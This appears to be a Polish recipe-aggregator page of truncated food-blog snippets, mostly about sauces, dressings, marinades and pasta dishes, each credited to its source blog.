Moje Małe Czarowanie
Fusilli Z Sosem Miodowo- Truflowym i Porem 213

śmietaną, dodajemy miód, serki topione oraz parmezan, blendujemy na krem smażymy kurczaka makaron gotujemy al dente do kurczaka dodajemy przesmażonego pora oraz makaron, mieszamy Podajemy na gorąco, na kleksie sosu, oprószony świeżo tartym parmezanem:) SMACZNEGO

Luźna Kuchnia
Tagliatelle z Pieczarkami i Słodko - Ostrym Sosem 259

blendujemy, doprawiamy papryką ostrą oraz pieprzem, pieczarki smażymy na osobnej patelni na maśle z odrobiną oliwy, na złoty kolor, doprawiamy solą, słodką papryką oraz gałką, dodajemy je do pikantnego sosu pomidorowego na patelnię wrzucamy makaron, mieszamy podajemy gorący oprószony świeżo tartym parmezanem:) SMACZNEGO

Luźna Kuchnia
922. Z kawowym mlekiem i toffi. 160

Kasza jaglana zalana gorącym kawowym mlekiem*;  z bananem i dom. sosem toffi   *mleko+kawa+kawa rozpuszczalna Zdążę, ugotować tą kaszę, czy nie? Ja bym nie dała rady? xd ii o dziwo na sypko wyszło, łamiąc wszelkie zasady, bo gdy chce na sypko mam na "papkę", kiedy chce na "papkę" mam na sypko, taka odwrotna psychologia xd Teoretycznie

More food, love and dreams
SAŁATA Z KURCZAKIEM I SOSEM TYSIĄCA WYSP 576

Poniżej znajdziecie przepis na jeden z moich ulubionych sosów, czyli dressing tysiąca wysp. Bardzo często podaję go do różnych sałat, przede wszystkim do tych z kurczakiem. Jeżeli przygotowałaś/eś danie z tego przepisu, prosimy o jego zdjęcie :). Wyślij je na adres a.rybinska@gmail.com. Fotografię opublikujemy w komentarzach i na naszym Facebooku (oczywiście podpiszemy Twoje dzieło). CZYTAJ WIĘCEJ I PRZEJDŹ

Przepisy Aleksandry
919. Z sosem toffi. 206

Marchewkowe gofry; z cynamonowym serkiem* i dom. sosem toffi * *serek sernikowy+cynamon, potem oczywiście więcej *.* W kalendarzu wiosna, na talerzu jesień, a za oknem zima, bo śnieg mnie z rana za oknem zastał

More food, love and dreams
913. Nocna owsianka z czekoladą. 169

Kakaowa nocna owsianka z gorzką czekoladą;  z sosem rabarbarowo-truskawkowym* *rabarbar, mus truskawkowy, całe truskawki, potem jeszcze więcej gorącego Trzymajcie kciuki, bo czarno to widzę

More food, love and dreams
Pulled pork czyli całkiem poszarpana wieprzowina 188

Niepotrzebnie bo mięso piecze się samo, nie potrzeba go obracać, nie potrzeba podlewać. Wystarczy tylko włożyć do garnka i piec, piec, piec. Moje pulled pork podałam w bułach z sosem barbecue. Było pyszne, polecam. Pulled pork czyli całkiem poszarpana wieprzowina. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
912. Kawowe serniczki z patelni. 256

Kawowe serniczki z patelni*; z gorącym sosem wiśniowym *z kawą rozpuszczalną, z dodatkiem mąki kokosowej  A teraz wracam do "Potopu"... prawie koniec, jeszcze jakieś 300 stron xd :D a od jutra żebyśmy się za bardzo w rekolekcje nie nudzili, będziemy mieli próbne matury

More food, love and dreams
sos truskawkowo jogurtowy 166

mojego dzisiejszego obiadu (klusek parowych) zrobiłam sos truskawkowo jogurtowy. Składniki: - 250g mrożonych truskawek - 2 łyżki cukru - jogurt naturalny Wykonanie: Zamrożone truskawki wrzucamy do garnka posypujemy cukrem i podgrzewamy na małym ogniu, do zrobienia się sosiku. Później można zblendować z jogurtem lub zmieszać sobie jogurt na talerzu. Smacznego

Tanio szybko zdrowo
sos mięsny 165

Dzisiaj podaje przepis na sos mięsny który idealnie nadaje się do ziemniaków lub np klusek parowych ;] Składniki: 1kg mięsa wieprzowego 1litr wody 1 duża cebula 1 ząbek czosnku 1,5 łyżki mąki pieprz, sól do smaku. Wykonanie: Obsmażamy mięso na patelni na małej ilości tłuszczu. Do gotującej się wody wrzucić obsmażone mięso dodać sól, gotować 15min. Na tłuszczu który został

Tanio szybko zdrowo
Biały sos mięsny dziadka. 177

Dziś zaprezentuje wam przepis na pyszny sos który gotował mój dziadek. Składniki: 1kg mięsa wpierzowego 1 dużą cebule 1 duży ząbek czosnku pieprz zioła prowansalskie l liść laurowy 4 zioła angielskie sól 1 łyżka mąki pszennej mięso umyć i pokroić w kostkę wrzucić do garnka zalewamy wodę na równi z mięsem solimy, pieprzymy dodajemy czosnek liścia laurowego i pokrojoną

Tanio szybko zdrowo
Kurczak w serowym sosie gorgonzola 191

sól, pieprz świeżo mielony  * natka pietruszki Przygotowanie : Fileta pokroić w plastry około 2cm. Przyprawić, odstawić na pół godziny do lodówki. Usmażyć, dodać pokruszony ser i śmietankę. Zagotować. Przyprawić sos do smaku. Posypać natką pietruszki

Magiczne Życie Marty
Pieczone ziemniaczki 252

Pieczemy w 200 stopniach przez około 30-40 min, tak aby ziemniaczki były w środku miękkie a z zewnątrz lekko zarumienione.  Ja lubię je z ketchupem lub sosem czosnkowym - przepis klik

Kolejny blog o gotowaniu
Majonezowy sos z awokado 206

majonezu kupnego, tłustego i niezbyt zdrowego polecam ten z awokado. Zdrowy tłuszcz, kwas oleinowy który obniża poziom cholesterolu, potas reguluje ciśnienie krwi, więc zajadamy na zdrowie. Polecam gorąco. Majonezowy sos z awokado. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Jajka faszerowane pastą tuńczykową z korniszonem i keczupem. 417

dodałam do niej maleńkiego korniszona i łyżeczkę keczupu.... niby nic a zmienia smak. Wyszło naprawdę smacznie...Polecam spróbować :) Składniki - 6 jajek ugotowanych na twardo - puszka rozdrobnionego tuńczyka w sosie własnym - 1 malutki korniszon ( może być ogórek konserwowy ) - 1 łyżka majonezu - 1 łyżeczka keczupu ( pikantny lub łagodny w/g gustu) - sol, pieprz Wykonanie Ugotowane i obrane ze skorupki jajka przecinam wzdłuż

Kuchnia z widokiem na ogród
Sos brazylijski ostry! 203

przepis na bardzo prosty w przygotowaniu sos brazylijski:  Składniki:  chili peperoncini całe (firmy Kotanyi) pomidor pół cebuli białej szczypta soli cytryna Przygotowanie:  Do miseczki wsypujemy pół paczki papryczek chili i dodajemy sok z wyciśniętej cytryny. Ugniatamy tłuczkiem (do ziemniaków). Dodajemy szczypty soli i skrojonego w drobną kostkę pomidora i cebuli. Mieszamy o gotowe.  Uwaga

Smaki Brazylii
Sos musztardowo - miodowy do sałatek i nie tylko 151

Jeden z moich ulubionych ekspresowych sosów. Jego składniki prawie zawsze są pod ręką, nadaję się do surówek, sałatek, mięs i nie tylko 3 łyżki oleju 3 łyżki musztardy 3 łyżki miodu sok z 1/2 cytryny Wszystkie składniki dokładnie wymieszać i gotowe

Jadło i czytadło
Magiczna, błyskawiczna, ezoteryczna potrawa, sos, przystawka na karnawałową imprezę 334

konsystencji (jeśli preferujecie rzadszy dip, możecie dodać więcej oliwy) . Dodać do smaku ocet balsamiczny i sól wedle uznania. Smacznego i n ie zapomnij o kupieniu bagietki do maczania w sosie. Szampańskiej zabawy!   KLIKNIJ NA ZDJĘCIE PONIŻEJ

Jem więc Jestem
FRYTKI IDEALNE – SMAKI DZIECIŃSTWA 183

Takie robiła mi babcia! Z dużych ziemniaków, krojonych wzdłuż, by były jak najgrubsze … Smażone nie we frytkownicy, a na patelni … Z solą .. z ketchupem … i z sosem czosnkowym. A co sobie będę żałować?! A Wy, jakie frytki lubicie najbardziej? PS. mój sposób na IDEALNE FRYTKI? Już niedługo w #czywieszze

Ostra na Słodko
Sos śmietanowo-pieczarkowy 180

podsmażyć cebulę pokrojoną w piórka, dodać obrane i pokrojone w plasterki pieczarki. Kiedy pieczarki będą już uduszone wlewamy śmietanę. Doprawić solą, pieprzem, papryką ostrą i słodką. Chwilkę smażyć aż sos stanie się gęsty. Przepis na kotlety jajeczne znajdziesz   tutaj

O kuchni z uczuciem
Zawijaki z tortilli 525

dać na to liść sałaty. Na brzeg z jednej strony dajemy paprykę. Zawijamy dokładnie ściskając.  Uwaga, żeby tortilla się nie rozerwała!  Ja bardzo lubię te zawijaki z sosem czosnkowym.  Szybko uciekają ze stołu! Smacznego

Kuchnia moimi oczami
Słodki ser do klusek i naleśników 290

Jeśli lubicie naleśniki na słodko czy szukacie sosu tylko gęstszego do pierogów czy klusek śląskich to polecam taki prosty serowy ;)  Można też mikserem rozbić dokładnie grudki sera chociaż mi nie przeszkadzają ;) Do jego wykonania potrzebujemy: ser biały twarogowy śmietanę cukier cukier waniliowy mleko W zależności jaką chcemy uzyskać konsystencję dodajemy więcej mleka. I cukier także wedle upodobań ;) Uważajcie gniotąc

W kuchni bez szafek
Polędwiczki w sosie pieczarkowym 402

Dziś prezentuję prosty, smaczny przepis na szybki weekendowy obiad - polędwiczki wieprzowe w sosie pieczarkowym. Czytaj więcej

Ana Mari's world
Sos grzybowy 166

sos z kategorii tych, które pasują do niemal wszystkiego. Ja ostatnio podłam go do gołąbków i kotletów ziemniaczanych. Składniki: 300 g pieczarek garść suszonych podgrzybków 100 ml słodkiej śmietany szklanka wody 1  płaska łyżka mąki 1 łyżeczka masła sól do smaku S posób przygotowania: Pieczarki obrać, pokroić w plasterki i wrzucić na rozgrzaną głęboką patelnie z łyżką masła. Podsmażyć

Gosia gotuje
Rotolo ze szpinakiem i serem feta 427

internecie. Tak mi się spodobał sposób jego podania, że postanowiłam przygotować go w domu. Zawijane roladki zrobiłam z szpinakiem i serem feta. Do tego sos pomidorowy i ser żółty starty na wierzchu. Całość wyszła bardzo pyszna. Tak podany makaron wygląda bardzo efektownie i elegancko. Post Rotolo ze szpinakiem i serem feta pojawił

Marta Gotuje
Pesto z koperkiem 231

Miksuję składniki blenderem i proszę na mnie za to nie krzyczeć. Tak jest zdecydowanie łatwiej i przyjemniej. I jeszcze jedno. Pisząc tytuł zawahałam się nad formą bo pesto to sos, ale pesto koperkowy brzmi mi jakoś dziwnie. Bardziej przyjazne wydaje się pesto koperkowe - tylko, że to chyba niepoprawna forma. Nie jestem pewna. Jeśli jest na sali ktoś kto może udzielić

Smaczna Pyza
Makaron z kurczakiem po meksykańsku 391

Wpis pochodzi z www.mgotuje.pl Lubicie szybkie obiady? Jeśli tak to spodoba się wam ten przepis Kurczak z mieszanką meksykańskich warzyw w sosie pomidorowym podany na razowym makaronie. To moja propozycja na bardzo smaczny i zdrowy obiad Post Makaron z kurczakiem po meksykańsku pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
Bukiet warzyw w cieście francuskim 365

spodu. Możemy lekko z góry ponacinać. Malujemy białkiem posypujemy ziołami prowansalskimi i wkładamy do nagrzanego wcześniej na 180 stopni piekarnika na około 30 minut.  "Roladka" super smakuje z sosem czosnkowym.  Ja dodałam 10 dag sera, dodaj więcej a będzie to bardziej zwarte;)  Smacznego

Kuchnia moimi oczami
Omułki w pomidorach 195

Dzisiaj owocowo i rybnie. I nie będą to owoce tropikalne w sosie rybnym, choć i takie z solą i chili lub z solą i czarnym pieprzem zdarzało nam się jeść. To jednak temat na inny wpis Póki co zajmiemy się … Czytaj dalej

slodkokwasnapl
Lemon curd, krem cytrynowy 318

bardzo smaczny. Można go wykorzystać do przekładania ciast, ciasteczek,  do różnych deserów cz też jako dodatek do lodów. Tym razem moje miejsce w kuchni zajęła starsza córka, a sos, który zrobiła  wykorzystała do przełożenia bezy. Przepis na bezę wkrótce.   Lemon curd, krem cytrynowy Czas przygotowania: 40  minut Składniki: 70 g drobnego cukru 2 żółtka 1 białko

Kulinarne przygody Gatity
Kąski Kurczaka w delikatnym sosie PaPRYKOWO- śmietanowym 447

Składniki: na 4 porcje 2-3 filety z kurczaka 2 czerwone papryki 2 pomidory 200 ml śmietany 18 lub 30% 1 ząbek czosnku sól  pieprz

Luźna Kuchnia
CZEKOLADOWE ciasto RETRO 198

biały cukier wsypujemy na suchą gorącą patelnie- tą samą na której podsmażaliśmy orzeszki, podgrzewamy aż do momentu kiedy zacznie się przypalać, dolewamy pozostałą  śmietanę, doprawiamy solą, wrzucamy orzeszki sos karmelowy pozostawiamy do osygnięcia, polewamy nim całe ciast bądź pojedyncze kawałki tuż przed podaniem:) <a href="http://durszlak.pl/akcje-kulinarne/walentynkowe-menu"><img src="http://durszlak.pl/system/banners/00/00/00/11/18embed_P9I8IEwMHWzUXXBlmTWqUR8nP3lBLAzz.jpg" alt="Walentynkowe menu

Luźna Kuchnia
Grillowany łosoś w miętowo-cytrynowym sosie 216

pieprzem. Grillujemy po kilka minut z każdej strony, aż skórka się zrumieni.   Cebulkę drobno siekamy, łączymy z oliwą, sokiem z cytryny i miętą.  Gorącą rybę polewamy powstałym sosem. Taki aromatyczny łosoś świetnie komponuje się z ziemniaczkami z wody i świeżym ogórkiem zielonym, które również możemy polać winegretem.  Smacznego

Moje Kuchenne Rewelacje
Roladki ze schabu z kaszą gryczaną i fasolką szparagową 346

www.mgotuje.pl Pyszne i aromatyczne roladki schabowe nadziane żółtym serem, ogórkiem kiszonym i papryką. Środek wysmarowany dodatkowo ostrą musztardą dla wyostrzenia ich smaku. Ugotowałam je w delikatnym sosie, dzięki czemu wyszły miękkie i soczyste w środku. Podane na kaszy gryczanej z warzywami z dodatkiem zielonej fasolki. Polecam na codzienny

Marta Gotuje
Drink z sosem rybnym 220

brzmi, bo smakuje zdecydowanie lepiej. A jak się poeksperymentuje, to będzie jeszcze lepiej. Sam pomysł chodził nam po głowie już od dawna. Od czasu naszego przepisu na ciastka z sosem rybnym, czekoladą … Czytaj dalej

slodkokwasnapl
Gulasz wieprzowo-wołowy z fasolą i zapiekanym jajkiem na miękko 181

wywar i gotuj na małym ogniu 1.5 godziny. Mieszaj co jakiś czas. Gdy mięso zmięknie i wywar odparuje wyłącz gulasz. Fasolę i soczewicę odcedź z zalewy i dodaj do sosu 10 minut przed podaniem, pogotuj chwilę. Gdyby gulasz był za gęsty dodaj trochę przegotowanej wody, dopraw do własnego smaku. Włącz piekarnik na 200 ° termo obieg. Na każdą porcję wbij ostrożnie

Pasje Jolki
Sałatka z brokułem, jajkiem i pomidorem 530

zapiekani, zupy jak i sałatki. Tym razem zrobiłam sałatkę z brokułem w towarzystwie pomidorków koktajlowych, jajek i kukurydzy. Podałam ją z sosem czosnkowym. Wyszła pyszna. Polecam Post Sałatka z brokułem, jajkiem i pomidorem pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
882. Makaron na słodko. Z masłem orzechowym. 196

Makaron w "sosie" orzechowym*; z bananem  *masło orzechowe+mleko Jak zwykle w pędzie. Jak zwykle pewnie będę biec na pociąg.. Szybkie śniadania ratują rano życia

More food, love and dreams
Risotto pomidorowe z serkiem mascarpone 373

minutę. Do przysmażonego ryżu dodaj chochlę bulionu. Gdy wywar zostanie wchłonięty, dodaj kolejną chochlę, czynność powtarzaj. Gdy ryż już będzie prawie gotowy (zajmie to około 15-17 minut) dodaj sos pomidorowy, wymieszaj i gotuj jeszcze przez kilka minut. Tuż przed podaniem dodaj sery mascarpone i grana padano (można zastąpić cheddarem). SMACZNEGO

Kredowe Menu
Pulpeciki w sosie koperkowym 193

startą marchewkę.  Następnie dodajemy pojedynczo pulpety. NIE przerywamy wrzenia.  Gotujemy pod przykryciem przez 20 min.  Masło ucieramy z mąką i po upływie 20 min, dodajemy do sosu aby zgęstniał.  Wsypujemy resztę kopru i doprawiamy solą i pieprzem.  ! GOTOWE ! ________________________________________________________ Pulpeciki można podawać na różne sposoby, ja podaję na dwa sposoby :) 1. Z ziemniakami i ćwikłą

Kolejny blog o gotowaniu
Pho bo z grilowana wołowina i makaronem banh da 253

Zupa, zupeczka, zupunia. Pho. Modna, hipsterska czy jeszcze jakaś tam. My ją znamy od dawien dawna, zanim jeszcze wszyscy o niej mówili. Co tydzień, a później

slodkokwasnapl
OBIAD ROBOTNIKA #3: HALIBUT PIECZONY Z ZIEMINIAKAMI, KALAFIOREM, SELEREM I SOSEM MIODOWO-CZOSNKOWYM 240

marchew, pora i cytrynę umyć, pokroić i razem z ziemniakami poukładać w wolnych przestrzeniach dookoła kawałków ryby. Cebulę pokroić w piórka i rozsypać na całości razem z listkami bazylii. Sos robimy z kilku łyżek oliwy, łyżki miodu, pieprzu i pokrojonego w kosteczkę czosnku. Polewamy nim rybę i wstawiamy do piekarnika nagrzanego do 180 stopni. Pieczemy około 100 minut, aż warzywa

GRUBY WAŁEK
Marynaty i przyprawy do steków 223

odstawić do lodówki na 30 minut lub na całą noc. Marynata sojowo-balsamiczna Dodaje stekom słodko-słony smak w stylu azjatyckim. Składniki: ½ szklanki octu balsamicznego ¼ szklanki sosu sojowego 2 łyżki miodu 4 szalotki, drobno posiekane ½ łyżeczki czerwonej papryki Przygotowanie: W płytkim naczyniu wymieszać wszystkie składniki, w powstałej marynacie umieścić steka (nie większy niż 900 g) i odstawić do lodówki

naRuszcie
Miętowe pesto 221

pesto regulujemy właśnie dodatkiem oliwy – im więcej – tym będzie rzadsze, więc dopasujmy jej ilość do własnego gustu. Gotowe pesto przekładamy do słoiczka i przechowujemy w lodówce. Miętowe pesto to sos, który spełnił swoje zadanie. Idealnie sprawdził się w swojej roli, jako dodatek do mięsa jagnięcego. Bardzo intensywny i aromatyczny o pięknej barwie. Tak jak pesto bazyliowe, tak i miętowe nadaje

mojewypiekiinietylko
Pico de gallo ostra czerwona salsa 164

trudność: łatwe rodzaj dania: Sosy, kremy, pasty składniki i przygotowanie: Standardowy, pikantny dodatek we wszystkich meksykańskich restauracjach. Przygotowuje się go z pomidorów, cebuli, papryki jalapeño (w ilości zależnej od wytrzymałości przygotowującego), kolendry, mielonego kminu, chlustu keczupu, który lubię dodawać dla wzbogacenia smaku i uzyskania właściwej konsystencji. Zawsze doskonale się sprawdza z krakersami lub chipsami kukurydzianymi. Ilość: 2 ½ szklanki Składniki

w mojej kuchni
SOS PIECZARKOWY 194

podsmażyć na masełku w rondelku aż odparuje z nich woda. Dodajemy posiekaną cebulkę i chwilę razem dusimy. Podlewamy wodą, wrzucamy kostkę rosołową i gotujemy.   Gdy pieczarki zmiękną przygotowujemy sos do zagęszczenia. W osobnej misce mieszamy śmietanę, mąkę i pół szklanki zimnej wody. Całość przelewamy do pieczarek i mieszamy by nie porobiły się grudki. Doprawiamy pieprzem i ewentualnie solą. Całość

w mojej kuchni
Sos koperkowo czosnkowy 182

Przepis na Sos Koperkowo-Czosnkowy . Zapraszam do wypróbowania . Polecam CZYTAJ DALEJj

Sylwetka Od Kuchni
Dip koperkowy 218

Alternatywa do sosu czosnkowego. Delikatny, śmietankowy dip. Idealny do pasztecików, przystawek a także do obiadu. Składniki ( na 250g dipu): 150g jogurtu naturalnego, 50g majonezu, mały ząbek czosnku, 20 ml śmietany 18%, 30g świeżego koperku, cukier, sól do smaku  Koperek myjemy i drobno siekamy. Jogurt, majonez, śmietanę łączymy w jednolitą masę, dodajemy przeciśnięty czosnek i koperek. Doprawiamy do smaku ( można

Pudełko rozmaitości
Sos winegret 364

oliwek 1 ząbek czosnku ½ małej cebuli sól, pieprz Czosnek przeciskamy przez praskę, cebulę kroimy w drobną kostkę. Wszystkie składniki wlewamy/ wkładamy do szklanki lub słoiczka i energicznie mieszamy. Sos można przechowywać w lodówce około 1 miesiąca, więc warto od razy zrobić kilka porcji

Humanistka w kuchni
Domowy ketchup 174

ziela angielskiego Pomidory parzymy, obieramy ze skórki. Obieramy cebule. Pomidory i cebule miksujemy  w kubku do robienia koktajlu (można blenderem). Porcję należy podzielić na dwie części. Następnie wlewamy sos do jak najszerszego garnka, dodajemy pozostałe składniki i zagotowujemy.  Potem na małym ogniu gotujemy około 2 h, Wyciągamy ziele i liść laurowy. Gorący wlewamy do słoiczków i zagotowujemy

Humanistka w kuchni
Sos czosnkowy 187

Sos czosnkowy, podstawa do wielu dodatków, sałatek, do mięs, albo jako dip. Czytaj więcej

Pasja tworzenia
sos chili 176

Sos warty wiedzy, również świetnie sprawdza się jako dip lub do np. poczciwych placków ziemniaczanych :) Czytaj więcej

Pasja tworzenia
Guacamole 184

Guacamole, inaczej pasta z awokado, podstawa wielu przekąsek, jako dipu, można na nim oprzeć sos jako dodatek do dań Czytaj więcej

Pasja tworzenia
Pańskie tosty 1067

Gorące mleko mieszamy z chłodnym mlekiem z zasmażką. Gotujemy, cały czas mieszając na małym ogniu, aż wszystko zgęstnieje.  Doprawiamy do smaku pieprzem, solą i posiekanym szczypiorkiem.  Gotowym sosem smarujemy kromki chleba, na każda kładziemy ser, szynkę, kukurydzę i pieczarki.  Składamy na pół.  Zewnętrzne strony smarujemy masłem i smażymy na patelni, z każdej strony po kilka minut

Lawendowe Niebo
869. Sernikowy krem jaglany. 198

sernikowy" krem jaglany*  z sosem owocowym (wiśnie, truskawki, maliny, borówki) Ferie kończę kolejną imprezę. Tym razem ze znajomymi D ^^ A teraz zmykam piec kolejną porcję muffin

More food, love and dreams
Sos pieprzowy 224

wykonania Majonez dokładnie wymieszać z jogurtem (najlepiej zmiksować żeby nie było grudek jogurtu), dodać czosnek granulowany, pieprz kolorowy i naprawdę dużo pieprzu czarnego (oczywiście ilość zależy od preferencji smakowych). Sos nadaje się do pizzy, tortilli, kebaba, placków ziemniaczanych

Mix smaku
Domowe sushi na każdą okazję 446

kulek nie przypominają (ale to nieistotne :) ) i układamy je na łyżkach, na półmisku. Najlepiej jest za wczasu posolić nasz "tatar", ponieważ będziemy go jedli bezpośredni ze sztućców i użycie sosu sojowego będzie niewygodne. Gdy przygotowania dobiegają końca, stół jest pięknie nakryty, śliwkowe wino Choya rozlane do kieliszków wszystko już gotowe, maki zawinięte przez sushi-masterki, pokrojone przez sushi-mastera

Taste Of My Day
Żołądki w sosie koperkowym 160

zabawy. Nazbierałam kilka przepisów i nie miałam ich nawet kiedy dodać.  W wolnej chwili nadrobię lekturę kulinarną na zaprzyjaźnionych blogach.  :) Dzisiaj ulubione moje danie, żołądki w sosie koperkowym:  Składniki: ½ kg żołądków 3 łyżki mąki 1 łyżka śmietany 2 listki laurowe, kilka ziaren ziela angielskiego, suszony koperek mały pęczek koperku świeżego sól,  pieprz,  odrobina majeranku. kostka

Na słodko lub wytrawnie
Wieprzowina w sosie pieczarkowym 197

bywaniu w kuchni mogę na razie zapomnieć.. nie mam siły na większe gotowanie. Na blogu na razie publikuję zaległe przepisy.  Dzisiaj z zaległych przepisów wieprzowina w sosie pieczarkowym. Uwielbiam to danie i mimo, że troszkę trzeba czasu poświęcić, żeby je zrobić to robię je często.  Składniki: 600 g mięsa wieprzowego w miarę chudego 500 g pieczarek

Na słodko lub wytrawnie
Spaghetti inne niż wszystkie według Gordona Ramsay'a 720

pieprzem ( dodałam jeszcze 2 łyżki cukru dla osłodzenia :). Krótko smażymy, a następnie dolewamy wino, które odparowujemy. Dodajemy pomidory z puszki i gotujemy jeszcze kilka minut. Wyłączamy gaz i odstawiamy sos na około 5 minut, po tym czasie dolewamy mleko i mieszamy. Podajemy z makaronem i posypujemy startym serem :) SMACZNEGO!  Przepis znalazłam na blogu http://szefowa-kuchni.blogspot.com

Kredowe Menu
Makaron z serem — zapiekanka mac and cheese 322

się nie dziwie bo to super smaczna, szybka i średnio zdrowa potrawa, którą zrobi nawet dziecko, a już na pewno dziecko ją zje bo: makaron — dobreeeee roztopiony ser — dobreeeee sos pomidorowy — dobreeeee Ja lubię, wam też przypadnie do gustu Nowy post Makaron z serem — zapiekanka mac and cheese pojawił się w Wypieki i Rumieńce

Wypieki i Rumieńce
Karczek na kanapki (domowa wędlina) 256

przyrządzona karkówka jest doskonałą alternatywą dla kupnych wędlin. Można ją również podawać na obiad pokrojoną w grubsze plastry i polaną sosem. Nie przejmujmy się że nastrzykujemy mięso woda z przyprawami... woda wyparuje, a smak pozostanie i do tego mięso jest bardziej soczyste Składniki: 2 kg karkówki bez kości główka czosnku 2 cebule 3 łyżki majeranku sól, pieprz, słodka papryka

IMPRESJA SMAKU
Dżem z papryczek chili 218

Pomysł podsunął mi kolega z pracy... i przepis przyjął się już na dobre. Ja taki dżem dodaję do marynat do mięs, sosu pomidorowego lub odrobinę na kanapkę. Zastosowań jest wiele. Podaną porcję oczywiście można zmniejszyć bo słoiczków wychodzi bardzo dużo:-) Składniki: 2 kg papryczek chili (piri piri) 1 kg słodkiej czerwonej papryki 3 opakowania cukru żelującego (2:1 - 500g

IMPRESJA SMAKU
Sałatka warstwowa z selerem i kurczakiem 1926

szczypiorku Przygotowanie: Seler, kukurydzę odsączamy z zalewy. Ananasa kroimy w kostkę. Z kurczaka usuwamy skórę i kroimy go również w kostkę. Układamy warstwami: kurczaka, seler, kukurydzę z chili. Polewamy sosem przygotowanym z majonezu i jogurtu z odrobiną pieprzu. Przykrywamy pokrojonym ananasem, posypujemy szczypiorkiem i doprawiamy pieprzem. Smacznego! The post Sałatka warstwowa z selerem i kurczakiem appeared first on Damsko-męskie

Damsko-męskie spojrzenie na kuchnię
Makaron z mięsem mielonym i sosem, domowe spaghetti 264

będzie surowe (najlepiej sprawdzić organoleptycznie) ;-P 5. Pomidory parzymy, zdejmujemy skórkę, kroimy w kostkę. Dodajemy pokrojoną paprykę. 6. Doprawiamy do smaku 7. Gotujemy ulubiony makaron, na talerzach polewamy makaron sosem  i gotowe!;) . P.S. Całość można posypać żołtym serem, mozarellą, bądź parmezanem

Kuchnia Pełna Pasji
Kąski z kurczaka z sosem czosnkowym 1190

Obtoczamy kawałki kurczaka kolejno w mące, jajku oraz płatkach. 4. Rozgrzewamy olej na patelni. Wkładamy kąski, smażymy aż mięsko nie będzie surowe;-) a płatki złociste:) Kąski można podawać z sosem czosnkowym: 1łyżka jogurtu naturalnego, łyzka majonezu, szczypta cukru, szczypta soli, zioła prowansalskie, ząbek czosnku

Kuchnia Pełna Pasji
Makaron z sosem śmietanowym i piersią kurczaka 315

Danie to przypomina mi moją babcie, która serwowała dla nas przepysznego kurczaka w sosie śmietanowym. Moja wersja tego posiłku jest nieco odmienna, jednakże na stałe zagościła w moich domowych przepisach, powstaje bardzo szybko oraz cieszy smakiem:) Składniki: 0,5kg makaronu świderki/penne, pierś z kurczaka, śmietana 12%, duża cebula, 3-4 ząbki czosnku, bazylia, oregano, kostka rosołowa, pieprz, sól

Kuchnia Pełna Pasji
Rolada z ciasta francuskiego z warzywami 14430

tarce. Posypujemy serem resztę składników oraz ziołami prowansalskimi lub oregano. 4. Rolujemy ciasto:) Wkładamy do rozgrzanego piekarnika w temp. 200*C na 15 minut. Roladę możemy podawać z sosem czosnkowym, ale bez też smakuje przepysznie

Kuchnia Pełna Pasji
854. Awokado w plackach. 194

Kokosowe awokado pancakes*  z sosem wiśniowym  *na mleczku kokosowym Skoro już polubiłam się z awokado. Postanowiłam spróbować wersji w plackach. Jednak wolę chyba tą z czekoladą, lub może powinnam zrobić rzadsze ciasto i usmażyć cieńsze? bo te grubsze były dość wilgotne w środku :P Trzymajcie kciuki za sprawdzian z matematyki :O Tylko

More food, love and dreams
CYTRYNOWO ZIOŁOWA MARYNATA CHILI 183

pikantna marynata jest doskonała do wieprzowiny lub drobiu. Używać jej osobno albo połączyć z ulubionym sosem do grilla . Składniki: ¼ szklanki cukru ¼ łyżki gruboziarnistej soli 3 łyżki chili 1 łyżeczka mielonego kminku 1 łyżeczka suszonego oregano 1 łyżeczka mielonej kolendry 1 łyżeczka sproszkowanej musztardy 1 łyżka drobno startej skórki z cytryny Przygotowanie: Wymieszać wszystkie składniki i delikatnie wklepać w wieprzowinę

naRuszcie
Klasyczna marynata do steków 223

godzin a duże kawałki wołowiny takie jak pieczenie 4-6 godzin (lub całą noc). Składniki: ¼ szklanki oleju do smażenia ¼ szklanki octu z czerwonego wina 3 łyżki sosu Worcestershire 1 łyżka soli 1 łyżeczka czarnego pieprzu 1 łyżeczka suszonego oregano 1 łyżeczka suszonego tymianku. Przygotowanie: Wszystkie składniki połączyć i dobrze wymieszać. Marynatę wykorzystać do marynowania mięsa wołowego. Zobacz również nasz poradnik

naRuszcie
Kluski ziemniaczane z sosem z czerwonej sałaty - radicchio i serem pleśniowym -gorgonzola 212

gotowania klusek. Dodać ser pleśniowy gorgonzola, poszatkowaną sałatę , serki w plasterkach.  Gotować przez 1 minutę do rozpuszczenia się serów i wyłączyć gaz. Ugotowane kluski ziemniaczane połączyć z sosem, dokładnie wymieszać.  Podawać na gorąco. SMACZNEGO

zielonacukinka
Pasta z chilli 309

jest ognista, jednak ostra. Korzystałam z papryczek chilli oraz ostrych papryczek czereśniowych, które pozostały po przetworach. Pasta jest bardzo łatwa w przygotowaniu, idealna jako dodatek smakowy do kanapek, makaronu, sosów czy zup. Składniki (na dwa małe słoiczki): ½kg papryczek chilli (lub innych ostrych, np. czereśniowych) 6-10 ząbków czosnku 2 łyżki oliwy z oliwek 1 łyżka octu z białego wina

PastelFood
Gotujemy suszone grzyby w szybkowarze 1200

Możecie go wzbogacić smakiem różnorakich ziół (świeżych lub suszonych), czy też innymi, dowolnymi przyprawami.  Najczęściej wykorzystuję taki wywar do: zrobienia sosu grzybowego podkręcenia smaku zupy duszenia w nim mięs wigilijnego farszu do uszek Wywaru grzybowego nigdy nie wylewam - jeśli nie jest mi potrzebny w danej chwili, zamrażam na inną okazję

Szybko Szybkowar
Flądra z sosem tymiankowym 122

Jeśli ktoś jeszcze nie wie co zrobić na piątkowy obiad, to polecam pyszną rybkę w bardzo aromatycznym sosie. Przepis jakiś czas temu otrzymałam od Olgi. Niezwykle rzadko trzymam się dokładnie tego, co zostało podane w przepisie. W tym przypadku jednak chciałam wiernie oddać smak, który ktoś zapisał wcześniej na kartce i wolałam nie eksperymentować :) Czytaj więcej

bistro mama
Sałatka z kurczakiem w karaibskiej marynacie 393

